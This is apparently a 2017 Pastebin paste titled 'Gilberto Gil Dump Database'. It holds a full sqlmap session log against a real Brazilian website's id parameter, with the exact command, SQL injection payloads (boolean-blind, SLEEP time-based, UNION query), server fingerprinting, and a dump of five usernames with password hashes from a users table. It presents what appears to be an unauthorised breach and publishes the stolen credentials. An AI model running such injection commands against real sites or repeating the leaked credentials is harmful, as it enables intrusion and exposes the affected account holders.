Frenetic

[Frenetic] Gilberto Gil Dump Database

Dec 14th, 2017
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.82 KB | None | 0 0
  1. $ python sqlmap.py -u http://www.gilbertogil.com.br/sec_video.php?id=13 -D c3gilbertogil -T base_users_tb -C username,password --dump --random-agent
  2. ___
  3. __H__
  4. ___ ___["]_____ ___ ___ {1.1.12.12#dev}
  5. |_ -| . [,] | .'| . |
  6. |___|_ [.]_|_|_|__,| _|
  7. |_|V |_| http://sqlmap.org
  8.  
  9. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  10.  
  11. [*] starting at 23:08:56
  12.  
  13. [23:08:56] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9' from file '/home/Frenetic/SQLMAP/txt/user-agents.txt'
  14. [23:08:57] [INFO] resuming back-end DBMS 'mysql'
  15. [23:08:57] [INFO] testing connection to the target URL
  16. sqlmap resumed the following injection point(s) from stored session:
  17. ---
  18. Parameter: id (GET)
  19. Type: boolean-based blind
  20. Title: AND boolean-based blind - WHERE or HAVING clause
  21. Payload: id=13' AND 2434=2434 AND 'gPcx'='gPcx
  22.  
  23. Type: AND/OR time-based blind
  24. Title: MySQL >= 5.0.12 AND time-based blind
  25. Payload: id=13' AND SLEEP(5) AND 'hUwQ'='hUwQ
  26.  
  27. Type: UNION query
  28. Title: Generic UNION query (NULL) - 7 columns
  29. Payload: id=-1613' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6b7671,0x646f4476526a4a74575a764358577548516a50636e7a4d6159545a6a6d6b446b5a435a4455654474,0x7171706a71),NULL,NULL,NULL-- KiEz
  30. ---
  31. [23:08:57] [INFO] the back-end DBMS is MySQL
  32. web server operating system: Linux Debian 8.0 (jessie)
  33. web application technology: Apache 2.4.10, PHP 5.3.24
  34. back-end DBMS: MySQL >= 5.0.12
  35. [23:08:57] [INFO] fetching entries of column(s) 'password, username' for table 'base_users_tb' in database 'c3gilbertogil'
  36. [23:08:58] [INFO] used SQL query returns 5 entries
  37. [23:08:58] [INFO] retrieved: "oq3/AIt8lXw","root"
  38. [23:08:58] [INFO] retrieved: "QTWqXP5ClNY","refazenda"
  39. [23:08:58] [INFO] retrieved: "0I758BnwugY","fafa"
  40. [23:08:58] [INFO] retrieved: "bQFHDQvmY5w","nelci"
  41. [23:08:58] [INFO] retrieved: "2o.HtB6Xztw","julia"
  42. Database: c3gilbertogil
  43. Table: base_users_tb
  44. [5 entries]
  45. +-----------+-------------+
  46. | username | password |
  47. +-----------+-------------+
  48. | root | oq3/AIt8lXw |
  49. | refazenda | QTWqXP5ClNY |
  50. | fafa | 0I758BnwugY |
  51. | nelci | bQFHDQvmY5w |
  52. | julia | 2o.HtB6Xztw |
  53. +-----------+-------------+
  54.  
  55. [23:08:58] [INFO] table 'c3gilbertogil.base_users_tb' dumped to CSV file '/home/Frenetic/.sqlmap/output/www.gilbertogil.com.br/dump/c3gilbertogil/base_users_tb.csv'
  56. [23:08:58] [INFO] fetched data logged to text files under '/home/Frenetic/.sqlmap/output/www.gilbertogil.com.br'
  57.  
  58. [*] shutting down at 23:08:58
Add Comment
Please, Sign In to add comment